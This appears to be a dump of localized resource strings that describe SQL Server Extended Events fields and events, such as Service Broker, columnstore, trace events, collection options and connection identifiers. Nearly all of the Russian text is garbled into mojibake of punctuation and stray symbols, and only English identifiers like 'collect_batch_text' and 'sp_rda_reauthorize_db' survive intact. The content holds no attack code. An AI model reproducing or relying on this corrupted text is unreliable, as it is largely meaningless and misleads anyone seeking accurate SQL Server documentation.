7025@H5=8O C40;5=8O 40==KE A ?@52KH5==K< A@>:>< E@0=5=8O.H'8A;> >?5@0F89 70?8A8 AB@0=8F, 2K?>;=5==KE ?>;L7>20B5;5< 70 2@5<O A50=A0PA�@>8AE>48B ?@8 70?CA:5 ?5@5<5I5=8O 40==KE 6C@=0;0 2 B5<?>@0;L=>9 B01;8F5, >?B8<878@>20==>9 4;O ?0<OB8, 87 2=CB@5==59 B01;8FK 6C@=0;0 2 B01;8FC 6C@=0;0.PA$@8<5@=K9 >1J5< 2E>4=KE 40==KE EMH0.%<O H;N70, ?KB0NI53>AO 2K?>;=8BL 2E>4PAA45=B8D8:0B>@ 107K 40==KE, 4;O :>B>@>9 87<5=O5BAO Service Broker.PA]!>45@68B 7=0G5=85 ?0@0<5B@0 @userdata, ?5@540==>3> E@0=8<>9 ?@>F54C@5 sp_trace_generateevent.PA,1I55 2@5<O, ?>B@0G5==>5 =0 2K?>;=5=85 7040G|A;8 7040=> 7=0G5=85 1, collect_column_list 2:;NG05B A1>@ 40==KE column_list. > C<>;G0=8N AB>;15F column_list =5 A>7405BAO.!>>1I5=85 >B25B0 HTTP.R%@0=OBAO ;8 >1J5:BK columnstore 2 C40;5==>< E@0=8;8I5 1;>G=KE BLOB->1J5:B>2 Azure.6>;CG8BL C=8:0;L=K9 845=B8D8:0B>@ 4;O ?;0=0 2K?>;=5=8O=#:07K205B, 1K; ;8 >?@545;5= ?5@8>4 4;O ACI5AB2CNI8E AB>;1F>2.PA">7>1=>2;O5<K9 ?0@0<5B@ (/"),<O 107K 40==KE, 345 ?@>945B 2>AAB0=>2;5=85.245=B8D8:0B>@ hobt columnstore 4;O >1J5:B0 ?>8A:0.%5A:@8?B>@ ?>43>B>2;5==>9 8=AB@C:F88.PA�>;CG5=85 845=B8D8:0B>@0 GUID A:><?8;8@>20==>3> ?;0=0. A?>;L7C9B5 MB>B 845=B8D8:0B>@ 4;O >4=>7=0G=>9 845=B8D8:0F88 A:><?8;8@>20==>3> ?;0=0n45=B8D8:0B>@ <5B040==KE 107K 40==KE-?>;CG0B5;O 8;8 7=0G5=85 0, 5A;8 845=B8D8:0B>@ =54>ABC?5= 2 40==K9 <><5=B.#1I89 >1J5< 2K45;5==>9 ?0<OB8 2 .@>B>:>; ?>AB02I8:0 SSL-=0G5=85 True: peer_activity_id, @02=>5 =C;N.�>7=8:05B, :>340 ?>;L7>20B5;L C:07K205B 2 70?@>A5 @57C;LB8@CNI89 B8? XSD, >B;8G=K9 >B 8A?>;L7C5<>3> 4;O ?@>42865=8O ?CB8 2> 2@5<O A>740=8O A5;5:B82=>3> XML-8=45:A0.S@>8AE>48B ?@8 70?CA:5 D>=>2>9 7040G8 2K?>;=5=8O 7040G >G8AB:8 B5<?>@0;L=KE 40==KE.w>65B 8A?>;L7>20BLAO 4;O :>=B@>;O @57C;LB0B>2 ?@>25@:8 ?>4:;NG5=8O :;85=B0, 2K?>;=O5<>9 A@54AB2>< ?@>25@:8 ?>4:;NG5=89.3<O =502B>=><=>9 DC=:F88, ?@8<5=5==>9 2 8=AB@C:F88.$'8A;> AB>;1F>2 2 CA;>288 A>548=5=8O.0"01;8F0, 4;O :>B>@>9 70?CI5=0 <83@0F8O 6C@=0;>2.9@>8AE>48B, 5A;8 8A?>;L7C5BAO DC=:F8O ?>A;54>20B5;L=>AB8.
0?CA: RPC5#:07K205B, ?@8ACBAB2C5B ;8 B@8335@ 2 B5:CI59 B01;8F5.0@0<5B@ >B:;NG5=8O SQL Server�>7=8:05B, :>340 >?5@0F8O ALTER TABLE ADD column ?@82>48B : >?5@0F88 UPDATE, :>B>@0O >:07K205B 2;8O=85 =0 :064CN AB@>:C. -B> A>1KB85 A83=0;878@C5B > ?>B5=F80;L=> 70B@0B=>9 8=AB@C:F88 DLL.!<O C40;5==>9 A;C61K 4;O 480;>30.PA@>H54H85 A25@:C AB@>:8 40==KE.845=B8D8:0B>@ 2K?>;=5=8O. $0:B8G5A:0O 7040G0 2K?>;=5=8O.Q!>>1I05B >1 0=0;875 @0AH8@5=8O D09;>2 4>:C<5=B>2 ?>;=>B5:AB>2K< D8;LB@>< IFilter."8? 8=AB@C:F88.P!>1KB85 XEvent, :>B>@>5 A2845B5;LAB2C5B > 2K?>;=5=88 ?@>F54C@K >B@01>B:8 >B:070.	<O >1J5:B0, A>45@60I53> ?>2B>@=> A:><?8;8@>20==CN 8=AB@C:F8N. -B>B >1J5:B <>65B 1KBL E@0=8<>9 ?@>F54C@>9, B@8335@>< 8;8 >?@545;O5<>9 ?>;L7>20B5;5< DC=:F859. ;O =5@53;0<5=B8@>20==KE ?0:5B>2 8;8 ?>43>B>2;5==KE 8=AB@C:F89 Transact-SQL 845=B8D8:0B>@ object_name ?CAB.<6840=8O 1;>:8@>2:8 8A:;NG5=89 4;O 7040G8 ?5@5=>A0 :>@B5659.0@0<5B@ ?@>:@CB:8'@5<O, 70B@0G5==>5 =0 ?@>25@:C DosGuardPA"<O B5:CI59 107K 40==KE A>548=5=8OW>;CG5=85 8<5=8 CG0AB=8:0 =0 C@>2=5 A5@25@0, 2 :>=B5:AB5 :>B>@>3> 1K;> 2K720=> A>1KB85.r>7=8:05B, :>340 =8 >48= ACI5AB2CNI89 A50=A DQ, A>2?040NI89 A 2K?>;=O5<K< ?@>5:B>< DQ, =5 >1=0@C65= 2 :MH5 A50=A0.}=0G5=85 true, 5A;8 ?5@5AB@>5==K9 8=45:A O2;O5BAO :;0AB5@87>20==K< 8=45:A>< columnstore, 2 ?@>B82=>< A;CG05�  7=0G5=85 false.�#=8:0;L=K9 845=B8D8:0B>@ ;>:0;L=>3> D878G5A:>3> ?>4:;NG5=8O SNI, 8A?>;L7C5<>3> 4;O A>>B=5A5=8O 2A5E A>1KB89 2E>40, A>740205<KE MB8< ?@>F5AA>< 4;O 40==>3> ?>4:;NG5=8O.<0H;8 ;8 <K ?5@A?5:B82=K9 03@530B >:>= 2> 2E>4=>< 2K@065=88?!>AB>O=85 ?@5@K20=8O 70?@>A0.5@5<O A>740=8O <0@:5@0 >;8F5B2>@5=8O 2 <8:@>A5:C=40E.1@54K4CI55 7=0G5=85 @568<0 =0AB@>9:8 107K 40==KE.�>7=8:05B, 5A;8 ?@8 >1@0I5=88 ?>AB02I8:0 OLEDB : C40;5==><C ?>AB02I8:C 2>7=8:05B >H81:0. A?>;L7C9B5 MB> A>1KB85 4;O ?@>A<>B@0 @57C;LB0B0 Hresult, 2>72@0I5==>3> =5C40G=> 7025@H5==K<8 2K7>20<8 OLEDBA!>>1I05B > 7025@H5=88 A?5F80;L=>9 ?@>F54C@K sp_rda_reauthorize_db-"8? @01>G53> M;5<5=B0, C40;5==>3> 87 >G5@548.!45=B8D8:0B>@ C40;5==>3> 8=45:A0.PA3@5<O, 70B@0G5==>5 ?>A;5 2K?>;=5=8O :;0AA8D8:0B>@>25@5A1>@:0 2A5E 8=45:A>2"5:AB 8A?>;=O5<>3> ?0:5B0.PA17<5=5=85 845=B8D8:0B>@0 >1;0AB8 >BA;56820=8O TVMPA '8A;> >6840NI8E 4;O <0;>3> H;N70DK;0 ;8 >1=0@C65=0 AB0B8AB8G5A:0O <>45;L O7K:0 4;O 40==>3> 4>:C<5=B0*#:07K205B A>AB>O=85 >1=>2;5=8O AB0B8AB8:8.,IP-04@5A :;85=BA:>3> :><?LNB5@0 ?>;L7>20B5;O"@8G8=0 7025@H5=8O A50=A0 csessionG>7=8:05B, 5A;8 >1J5:B 1K; C40;5= A ?><>ILN 8=AB@C:F88 DROP. -B> A>1KB85 2>7=8:05B 42064K 4;O :064>9 >?5@0F88 DROP. -B> A>1KB85 2>7=8:05B, :>340 >?5@0F8O =0G8=05BAO 8 :>340 >?5@0F8O ;81> >B:0BK205BAO, ;81> D8:A8@C5BAO. >102LB5 459AB285 nt_username 8;8 server_principal_name 2 MB> A>1KB85, GB>1K >?@545;8BL, :B> 87<5=8; >1J5:B.PA/070 40==KE, 2 :>B>@>9 1K;8 87<5=5=K ?0@0<5B@K.3<O 107K 40==KE, A>45@60I59 ?>4>7@8B5;L=CN AB@0=8FC,KE>4 87 A8AB5<K, 8=8F88@C5<K9 ?>;L7>20B5;5<2-B> A>1KB85 xevent A@010BK205B ?@8 A>740=88 40<?0.>#:07K205B B8? :C@A>@0, ?>;CG5==>3> ?@8 =5O2=>< ?@5>1@07>20=88.<<O 107K 40==KE, :>B>@0O A>45@68B >1J5:B, C40;5==K9 87 :MH0.W>;8G5AB2> AB@>:, ?5@5<5I5==KE 87 2@5<5==>9 B01;8FK 6C@=0;0 2 B01;8FC 6C@=0;0 =0 48A:5.)1J5:B, : :>B>@><C >B=>A8BAO MB>B 8=45:A.�>7=8:05B, 5A;8 E@0=8;8IC 70?@>A>2 =5 C40;>AL >BA;548BL 70?@>A. %@0=8;8I5 70?@>A>2 =5 1C45B >BA;56820BL AB0B8AB8:C 4;O MB>3> 70?@>A0y><5@ >H81:8 4;O 40==>3> A>1KB8O. 0: ?@028;>, MB> =><5@ >H81:8, :>B>@K9 E@0=8BAO 2 A8AB5<=>< ?@54AB02;5=88 sys.messages.PAR070 40==KE, 2 :>B>@>9 >1=0@C65=K =54>?CAB8<K5 ?0@0<5B@K 02B><0B8G5A:>9 =0AB@>9:8."8? ?0@0<5B@870F88 70?@>A>2�#:07K205B A>AB>O=85 >H81:8, 2K7202H59 7025@H5=85 7040=8O. @8<5=8<> B>;L:> 2 A;CG05, 5A;8 ?>;5 job_failure_type A>45@68B 7=0G5=85 1.:@54K4CI55 7=0G5=85 >B:;NG5==KE A8AB5<>9 D;03>2 ?><>I=8:0.�>;8G5AB2> ;>38G5A:8E >?5@0F89 GB5=8O AB@0=8F, 8=8F88@>20==KE 2> 2@5<O @01>BK B@8335@0 LOGON 8;8 DC=:F88-:;0AA8D8:0B>@0 Resource Governor.PA)"01;8F0, 4;O :>B>@>9 2K?>;=O;0AL ?@82O7:0PAkA?>;L7>20=85 query_hash 4;O A>740=8O ?@548:0B0, D8;LB@CNI53> A>1KB8O, 8AE>4O 87 70?@>A>2 A> AE>659 ;>38:>9PA!>1KB8O 2:;NG5=8O CDC,0==K5 B5;5<5B@88 4;O :;NG0 :>=B5:AB0 A50=A0d!>2>:C?=>5 2@5<O <564C =5A:>;L:8<8 2K7>20<8 2 ReadAsync 8 ReadHandler ?@8 4>102;5=88 ?>AB02I8:0 SSPI1?@8<5=O5BAO :0: AAK;:0 2 AB@>:0E >G5@548 ?5@540G8&45=B8D8:0B>@ ?5@5=>A8<>9 107K 40==KE.�>7=8:05B ?@8 8A?>;L7>20=88 DC=:F89, :>B>@K5 1C4CB C40;5=K 2 A;54CNI8E 25@A8OE SQL Server, => 2 A;54CNI5< >A=>2=>< 2K?CA:5 SQL Server 5I5 A>E@0=OBAO.PAT>7=8:05B 2 A;CG05 A1>O ?@>25@:8 A>3;0A>20==>AB8 40==KE B5<?>@0;L=>9 181;8>B5:8 DDL.."8? @01>G53> M;5<5=B0, 4>102;5==>3> 2 >G5@54L.N#:07K205B, 1C45B ;8 ?>A;5 >B:0B0 B5:CI59 B@0=70:F88 70?CI5=0 =>20O B@0=70:F8O.WITH (ONLINE = ON/OFF),>;CG8BL ?>@O4:>2K9 =><5@ B5:CI59 B@0=70:F88W?@545;O5B, O2;O5BAO ;8 MB> A>1KB85 =0G0;L=K< 8;8 7025@H0NI8< A>1KB85< 4;O 2K7>20 OLEDBPAVAB0B8AB8:0 ?@>872>48B5;L=>AB8 ?@8 ?@>25@:5 ?>4;8==>AB8: DC=:F8O ?>8A:0 8<5=8 4;O 2E>403#:07K205B, 8A?>;L7C5BAO ;8 2=5H=89 8AB>G=8: 40==KE.h!2>9AB2>, =0 :>B>@>5 AAK;05BAO C:070==K9 ?CBL JSON, =5 A>>B25BAB2C5B 480?07>=C B8?0 2>72@0I05<KE 40==KE.3@>8AE>48B ?@8 70?CA:5 C40;5==>3> 2K7>20 ?@>F54C@K.0B53>@8O >H81:8.�!>45@68B ;8 CA;>285 A>548=5=8O string, binary, uniqueidentifier 8;8 4@C3>9 B8?, 4;O :>B>@>3> A>548=5=85 845B <54;5==> (true), 8;8 B>;L:> ?@>ABK5 B8?K, B0:85 :0: int 8 datetime (false).  1>;LH8=AB25 A2>5< MB> B8?K, ?@52KH0NI85 ?> @07<5@C 8�109B (?>MB><C >=8 =07K20NBAO 1>;LH8<8). > : B0:8< 70B@0B=K< A B>G:8 7@5=8O @5AC@A>2 B8?0< >B=>A8BAO, =0?@8<5@, B8? varchar(6), ?>MB><C 4;O =53> 1C45B 2>72@0I5=> 7=0G5=85 true, E>BO >= <5=LH5 8�109B.U@5<O 2 <8;;8A5:C=40E, :>B>@>5 CH;> C D>=>2>9 7040G8 =0 7025@H5=85 <83@0F88 6C@=0;>2.PA(G8A;> AAK;0NI8EAO AB@>: >G5@548 ?5@540G85A:@8?B>@ ?;0=0 70?8A8 :MH0Q@>8AE>48B ?@8 70?CA:5 >G8AB:8 B5<?>@0;L=KE B01;8F 6C@=0;>2 A ?>;8B8:>9 E@0=5=8O.o>7=8:05B ?@8 2K?>;=5=88 >?5@0F88, :>B>@>9 <>65B ?>B@51>20BLAO ?@>25@:0 G8AB>BK 40==KE 4;O C@>2=O dbcompat 130.:8A?5BG5@ A50=A>2: 7025@H5=> 2K?>;=5=85 @01>G53> M;5<5=B0.D#:07K205B, 1C45B ;8 70?CA: 8=AB@C:F88 2K7K20BL ?>2B>@=CN :><?8;OF8N./@54K4CI55 7=0G5=85 A8AB5<=KE D;03>2 ?><>I=8:0.PA.@>A<>B@ 8<5=8 CG5B=>9 70?8A8 2 <8:@>A5:C=40E.>;CG5=85 B5:AB0 SQL""8? B>;L:> GB> 2K?>;=5==>9 @01>BK.><5@ >H81:81I55 2@5<O 2K?>;=5=8O!The SID of the Server Prinicipal.+"8? ?>4B25@645=8O :><?>=5=B0 Service BrokerK45=B8D8:0B>@ 70?@>A0, >B?@02;O5<>3> =0 :>=B@>;;5@ :;0AB5@0 1>;LH8E 40==KE.!!>AB>O=85 >H81:8 (5A;8 ?@8<5=8<>),'8A;> ?;0=>2, A>740==KE 1KAB@> 8 ?0@0;;5;L=>&#A?5H=> ;8 ?;0= ?@8<5=5= ?@8=C48B5;L=>)"5:CI89 C@>25=L A>2<5AB8<>AB8 107K 40==KEPAi#40;5=85 3;>10;L=KE <5B040==KE 87 107K 40==KE Master, 2:;NG0O B01;8FC sysdatabases 8 A53<5=BK 107K 40==KEPA0"8? >?5@0F88, 2K?>;=5==>9 4;O C40;5==>3> A5@25@0U>7=8:05B ?@8 ?>;CG5=88 3;>10;L=>9 1;>:8@>2:8 4;O 3;>10;L=>3> >1J5:B0 IDataInitializePAwA;8 7040=> 7=0G5=85 0, collect_batch_text >B:;NG05B A1>@ 40==KE batch_text. > C<>;G0=8N AB>;15F batch_text A>7405BAO.PA4@5<O ?>A;54=53> 87<5=5=8O A>AB>O=8O E>40 2K?>;=5=8O(<O A1>@:8, =0 :>B>@CN C:07K205B AAK;:0.4><5@ >H81:8 4;O :;0AA8D8:0F88 >B;>65==KE A>>1I5=89..#:07K205B, 1K;> ;8 2:;NG5=> system_versioning.�#:07K205B =><5@ >H81:8, ?>A;C682H59 ?@8G8=>9 7025@H5=8O 7040=8O. @8<5=8<> B>;L:> 2 A;CG05, 5A;8 ?>;5 job_failure_type A>45@68B 7=0G5=85 1.'45=B8D8:0B>@ <>4C;O, >B?@0282H53> ?;0="8? C40;5==>3> >1J5:B0.K?>;=O5<K9 ?0:5B.PA"5:AB 2K?>;=O5<>3> ?0:5B0.5@5=>A8<0O B01;8F0%>@>3>2>5 7=0G5=85 4;O A@54=53> H;N704AB8=0, 5A;8 :MH 1K; >G8I5= 2 B5G5=85 MB>3> ?@>E>40.]/2;O5BAO ;8 ?>;L7>20B5;L, 70?CA:0NI89 70?@>A, ?@828;538@>20==K< (8<55B ;8 @07@5H5=85 UNMASK).PA445=B8D8:0B>@ CAB0@52H59 DC=:F88, 2K7202H59 A>1KB85.;!@010BK205B ?@8 7025@H5=88 70?@>A0 =0 C40;5=85 107K 40==KE.)45=B8D8:0B>@ >G5@548, 2K7202H59 A>1KB85.$0?CA: 8=AB@C:F88 E@0=8<>9 ?@>F54C@K?!@010BK205B ?@8 7025@H5=88 70?@>A0 =0 C40;5=85 2=5H=59 B01;8FK.3"8? =502B>=><=>9 DC=:F88, ?@8<5=5==>9 2 8=AB@C:F88.;!>>1I5=85 >1 >H81:5 4;O :;0AA8D8:0F88 >B;>65==KE A>>1I5=89.PAc@>8AE>48B 2> 2@5<O :><?8;OF88, :>340 ?>;L7>20B5;L 405B :><0=4C 0@E820F88 2 C?@02;O5<>< M:75<?;O@5.PAV-B> A>1KB85 A>7405BAO, :>340 70?CA:05BAO 7040G0, >1=>2;ONI0O :MH ?@>25@:8 ?>4;8==>AB8.O@5<O, ?>B@0G5==>5 =0 >6840=85 B>:5=0 :;85=B0 ?>A;5 >B?@02:8 A2545=89 > FedAuthPA;8B5;L=>ABL A1>@:8 8=45:A0P@>8AE>48B ?@8 4>102;5=88 8;8 C40;5=88 >?@545;5=8O AB>;1F0 B5<?>@0;L=>3> 0C48B0.PA:B828@C5BAO, :>340 =5>1O70B5;L=K9 ?0@0<5B@ 4>102;O5BAO 2 A25@B:C 2 @0<:0E A?5F80;878@>20==>3> ?;0=0 =5>1O70B5;L=KE ?0@0<5B@>2.0#40;5= :C@A>@, :MH8@>20==K9 48A?5BG5@>< :C@A>@>2PA+@5<O, 70B@0G5==>5 =0 2>AAB0=>2;5=85 A50=A0uA;8 7040=> 7=0G5=85 0, collect_statement >B:;NG05B A1>@ 40==KE 8=AB@C:F88. > C<>;G0=8N AB>;15F statement A>7405BAO.=AB@C:F8O ALTER COLUMNPAC#:07K205B A>AB>O=85 4>102>G=>3> 87<5=5=8O G0AB>BK A1>@0 AB0B8AB8:8.PAH45=B8D8:0B>@ 107K 40==KE, A>45@60I59 B01;8FC A ?>;=>B5:AB>2K< 8=45:A><.X45=B8D8:0B>@ event_id, C:070==K9 ?@8 2K7>25 E@0=8<>9 ?@>F54C@K sp_trace_generate_event.<O A>740==>3> >1J5:B0.PA90G0;L=>5 A<5I5=85 8=AB@C:F88 >B=>A8B5;L=> =0G0;0 <>4C;O.m<O ?>;L7>20B5;O, C:070==>5 2 CG5B=>9 70?8A8 8 8A?>;L7C5<>5 3@C??>9 157>?0A=>AB8 40==KE 4;O >1=0@C65=8O C3@>7E!>>1I5=85 1K;> 2K2545=> 87 >G5@548 ?5@540G8 :><?>=5=B0 Service BrokerPAT@>8AE>48B, :>340 ?>;L7>20B5;L 405B :><0=4C 2>AAB0=>2;5=8O 2 C?@02;O5<>< M:75<?;O@5.#5@5A1>@:0 ?> A5B8 (2:;. 8;8 >B:;.)PA#@>25=L 2;>65==>AB8 2K?>;=5=8O.*'8A;> C:070==KE D09;>2 4;O 2>AAB0=>2;5=8O.mMH8 @07@5H5=89 B>:5=>2 157>?0A=>AB8 AB0;8 =5459AB28B5;L=K<8 2 A2O78 A C25;8G5=85< <5B:8 2@5<5=8 107K 40==KE.�@>8AE>48B ?@8 A1>5 ?5@5<5I5=8O 40==KE 6C@=0;0 2 B5<?>@0;L=>9 B01;8F5, >?B8<878@>20==>9 4;O ?0<OB8, 87 2=CB@5==59 B01;8FK 6C@=0;0 2 B01;8FC 6C@=0;0.<O :;85=BA:>3> ?@8;>65=8O.PAJ"5:AB :MH8@C5<>9 8=AB@C:F88 SQL. 0?>;=O5BAO, 5A;8 ?>;5 cached_text ?CAB>.D>ABC?;5=85 B@0D8:0 >B @53C;O@=>9 8=AB@C:F88 8;8 :><?>=5=B0 Hekaton.M?5@0B>@ "<5=LH5 8;8 @02=>" 4;O 42CE AB@>:>2KE 7=0G5=89 2 D>@<0B5 SQL UNICODE,>2>5 7=0G5=85 @568<0 =0AB@>9:8 107K 40==KE.PA)&5;52>9 >1J5:B 4;O >1=>2;5=8O AB0B8AB8:8.)45=B8D8:0B>@ 3@C??K @5AC@A>2 A>548=5=8O.1@5<O 2K?>;=5=8O 2>7>1=>2;O5<>3> A>740=8O 8=45:A0PAe45=B8D8:0B>@ 8A?>;L7C5BAO :><?>=5=B>< ODBC, OLE DB 8;8 DB-Library 4;O :>>@48=0F88 @01>BK A A5@25@><.V!>1KB85 :>=5G=>3> 02B><0B0 8AE>4OI53> ?>4B25@645=8O ?5@540G8 :><?>=5=B0 Service BrokerPA�#=8:0;L=K9 845=B8D8:0B>@ C40;5==>3> D878G5A:>3> ?>4:;NG5=8O 87 SNI. ><=8B5, GB> D878G5A:>5 ?>4:;NG5=85 87<5=O5BAO ?@8 ?5@5=0?@02;5=88 :;85=B0.PA�A;8 7040=> 7=0G5=85 1, collect_workitem_description 2:;NG05B A1>@ 40==KE workitem_description. > C<>;G0=8N AB>;15F workitem_description =5 A>7405BAO.PA@>?CI5= =><5@ H;N70.?>2>5 7=0G5=85 ?5@5>?@545;O5<KE ?>;L7>20B5;5< D;03>2 ?><>I=8:0.<83@0F8O ?>;CG8;0 A>2<5I05<CN 1;>:8@>2:C =0 @5AC@A5 ?5@5=>A0B'8A;> C=8:0;L=KE 0B@81CB>2 :>=D845=F80;L=>AB8 4;O MB>3> @57C;LB0B0U@8G8=0, ?> :>B>@>9 >?5@0F8O ALTER TABLE 2K?>;=O5B >?5@0F8N UPDATE 4;O :064>9 AB@>:8.�!?8A>: >1=>2;5==KE 8;8 A>740==KE 70?8A59 AB0B8AB8:8. -B> ?>;5 70?>;=O5BAO B>;L:> ?@8 CA;>288, GB> ?>;5 A>AB>O=8O 8<55B 7=0G5=85 1.L@>8AE>48B, :>340 >?B8<870B>@ 7025@H05B H03 ?@8 >F5=:5 :>;8G5AB20 M;5<5=B>2.PAV'8A;> D878G5A:8E >?5@0F89 GB5=8O 22>40-2K2>40 (G8A;> AG8B0==KE AB@0=8F @07<5@>< 8�).#>;CG5=85 8<5=8 B5:CI59 107K 40==KEPA?@>8AE>48B ?@8 70?CA:5 A>>1I5=8O UCS 4;O 3;>10;L=>9 B@0=70:F88.F5=:0 G8A;0 AB@0=8F!>1@0BL H03 ?;0=0 DMS7<5=5=85  ?0:5B0.H!2>9AB2> AB@>:8 A>548=5=8O ?>AB02I8:0 <5B040==KE >B:@KB>3> =01>@0 AB@>:.'8A;> @07185=89.%@>?CA:=0O A?>A>1=>ABL 1>;LH>3> H;N70PA->8A: 70?@>A0 Polybase 87 B01;8FK 02B>@870F88+45=B8D8:0B>@ >1J5:B0 A C40;O5<K< AB>;1F><.IP-04@5A :;85=B0.PAA"8? AB>;1F0, 4;O :>B>@>3> 87<5=O5BAO DC=:F8O <0A:8@>20=8O 40==KE.*070 40==KE, :>B>@0O A>45@68B MB>B 8=45:A.-><5@ AB@0=8FK, C:070==K9 4;O 2>AAB0=>2;5=8O.6!B0B8AB8:0 2K?>;=5=8O 4;O >1J5:B0, C40;O5<>3> 87 :MH0.Q#:07K205B, GB> >?5@0F8O <>48D8:0F88 AB>;1F0 >B=>A8BAO 8A:;NG8B5;L=> : <5B040==K<.'"5;5<5B@8O 8A?>;L7>20=8O A1>@:8 8=45:A0&>;CG5=85 8<5=8 ?>;L7>20B5;O A50=A0 NT+?@545;O5B @07;8G=K5 B8?K A>AB>O=8O ?0:5B>2PA# >;L 8AB>G=8:0 A>>1I5=8O 2 480;>35."'8A;> >6840NI8E 4;O A@54=53> H;N70Q45=B8D8:0B>@ 3@C??K 7040G. 48=8F0 ?;0=0, 345 2K?>;=O5BAO MB>B >?5@0B>@ 70?@>A0.I>7=8:05B ?@8 87<5=5=88 ?0@0<5B@0 C?@02;5=8O 25@A8O<8 A8AB5< 4;O B01;8FK.PA1=0G5=85 true, 5A;8 1K;0 ?@>?CI5=0 ;520O AB>@>=0.H!B0B8AB8:0 ?@>872>48B5;L=>AB8 ?@>25@:8 ?>4;8==>AB8: DC=:F8O >?@>A0 2E>40,"8?K ?@5>1@07>20=8O, >B :>B>@KE 7028A8B ?;0=PAH81:0 A1>@:8 8=45:A0PA!45=B8D8:0B>@ C40;O5<>3> AB>;1F0.PAU8A?5BG5@ A50=A>2: @01>G89 M;5<5=B 1K; C40;5= 87 >G5@548 ?C;0 ?>B>:>2 4;O 2K?>;=5=8O.+!>740=85 <8=8-40<?0, 2:;NG0NI53> 2A5 ?>B>:8+?8A0=85 B8?0 A>1KB8O >B;>65==>9 :><?8;OF88PAm@5<O, ?>B@0G5==>5 =0 >1=>2;5=85 :;NG59 ?>4?8AK20=8O :;NG0, 5A;8 MB> ?>4E>48B 4;O 40==>3> 8<5=8 ?>;L7>20B5;O.;>;8G5AB2> >?5@0F89 70?8A8, 2K?>;=5==KE 2> 2@5<O 0:B820F88. 45=B8D8:0B>@ A50=A0 A>548=5=8O.L!>>1I05B > 7025@H5=88 ?@>25@:8 B01;8FK, :>340 ?>;L7>20B5;L 2:;NG05B ?5@5=>A.,>;CG5=85 845=B8D8:0B>@0 B5:CI59 107K 40==KE0:0=G820NI89AO MB0?'83@0F88 =5 C40;>AL ?>;CG8BL 1;>:8@>2:CPAF45=B8D8:0B>@ 107K 40==KE, :>B>@0O A>45@68B >1J5:B, C40;5==K9 87 :MH0.65B>4 OLE DB, :>B>@K9 8A?>;L7>20;AO 2K@065=85< XQuery.%'8A;> C:070==KE D09;>2 4;O 0@E820F88.C@8G8=0 ?@>?CA:0 ?@54;>65=8O 2> 2@5<O ?@8=C48B5;L=>9 ?0@0<5B@870F88$A;8 2>72@0I5= B>:5= failoverPartnerT?@545;O5B, O2;O5BAO ;8 MB> A>548=5=85 2K45;5==K< 04<8=8AB@0B82=K< A>548=5=85< (DAC)C/2;O5BAO ;8 MB> A>548=5=85 2K45;5==K< 04<8=8AB@0B82=K< A>548=5=85<?""8?K 2@5<5=8 >6840=8O >?B8<870B>@0PA!B048O @0725@BK20=8O.PA/>;CG5=85 ?>@O4:>2>3> =><5@0 B5:CI59 B@0=70:F88PA3><5@ AB@>:8 8=AB@C:F88 >B=>A8B5;L=> =0G0;0 ?0:5B0.#@>?CA:=0O A?>A>1=>ABL <0;>3> H;N70#'8A;> 109B>2 2 6C@=0;5 107K 40==KE.PAF:;NG5= ;8 1KAB@K9 MB0? 4;O ?@8=C48B5;L=>3> ?@8<5=5=8O ?;0=0 (USEPLAN)'45=B8D8:0B>@ ?>;L7>20B5;LA:>9 DC=:F88.PA&!B5?5=L A5@L57=>AB8 A>1KB8O 8A:;NG5=8O.>A;54=89 AG5BG8: AB@>: 4;O 40==>9 8=AB@C:F88.5@A8O :MH0 2 <><5=B A>1KB8O.%@>?CA:=0O A?>A>1=>ABL A@54=53> H;N70]@>8AE>48B ?@8 7025@H5=88 @01>BK B@8335@0 LOGON 8;8 DC=:F88-:;0AA8D8:0B>@0 Resource Governor.PA-2>8G=>5 ?@54AB02;5=85 B>:5=0 B@0=70:F88 DTC.�#:07K205B =0 >?5@0F8N >B<5=K, ?@5@20==K9 :;85=B>< 70?@>A 8;8 @07@K2 A>548=5=8O. ?5@0F88 >B<5=K B0:65 <>3CB O2;OBLAO @57C;LB0B>< 8AB5G5=8O 2@5<5=8 >6840=8O 4@0925@0 4>ABC?0 : 40==K<.&#:07K205B, A>45@68B ;8 70?@>A ;8B5@0;KPA%5@2K5 100 A8<2>;>2 B5:AB0 8=AB@C:F88PA�A;8 7=0G5=85 @02=> 1, collect_application_name @07@5H05B A1>@ application_name. > C<>;G0=8N AB>;15F application_name =5 A>7405BAO.j>7=8:05B ?@8 8A?>;L7>20=88 2>7<>6=>AB8, :>B>@0O 1C45B C40;5=0 87 A;54CNI53> >A=>2=>3> 2K?CA:0 SQL Server.45=B8D8:0B>@ >B?@02:8.e@>8AE>48B ?@8 ?>43>B>2:5 8=AB@C:F88 Transact-SQL :><?>=5=B>< SQLClient, ODBC, OLE DB 8;8 DB-Library.0:B828@C5BAO ?@8 7025@H5=88 C=8:0;L=>3> 70?@>A0.B:@5?;O5<>5 >?8A0=85 8=45:A0.*1=0@C65=> >1JOA=5=85 4;O MB>3> >?5@0B>@0.<O ?>;L7>20B5;LA:>9 DC=:F88.PA=>;CG5=85 A2545=89 > B><, O2;O5BAO ;8 B5:CI89 A50=A A8AB5<=K<0@5<O 2 A5:C=40E A <><5=B0 ?>A;54=53> ?>;CG5=8O.PAP@>8AE>48B ?@8 A1>5 D>=>2>9 7040G8 2K?>;=5=8O 7040G >G8AB:8 B5<?>@0;L=KE 40==KE. 45=B8D8:0B>@ 4>:C<5=B0.PA&845=B8D8:0B>@ B5:CI53> @01>G53> ?>B>:0>;CG5=85 AB5:0 Transact-SQLT'8A;> ;>38G5A:8E >?5@0F89 GB5=8O AB@0=8F, 8=8F88@>20==KE C40;5==K< 2K7>2>< ?@>F54C@.A@>8AE>48B, :>340 >?B8<870B>@ ?@>?CA:05B ?>;CG5=85 H;N7>2 ?0<OB8.PA0@5<O, 70B@0G5==>5 =0 2K?>;=5=85 :;0AA8D8:0B>@>24'8A;> C=8:0;L=KE B8?>2 A2545=89 4;O MB>3> @57C;LB0B0�!B048O >1@01>B:8 ?@8 2>7=8:=>25=88 A>1KB8O.  !>1KB85 <>65B 2>7=8:=CBL 2> 2@5<O :><?8;OF88 8;8 2K?>;=5=8O ?;0=0 70?@>A0.  A?>;L7C9B5 MB> ?>;5 40==KE 4;O D8;LB@0F88 A>1KB89.  'B>1K C2845BL, 2>7=8:;0 ;8 ?@>1;5<0 ?> :@09=59 <5@5 >48= @07, 70?@0H8209B5 B>;L:> A>1KB8O 2@5<5=8 :><?8;OF88.  'B>1K C2845BL, :0: G0AB> 2>7=8:0;0 ?@>1;5<0, 70?@0H8209B5 B>;L:> A>1KB8O, =5 >B=>AOI85AO :> 2@5<5=8 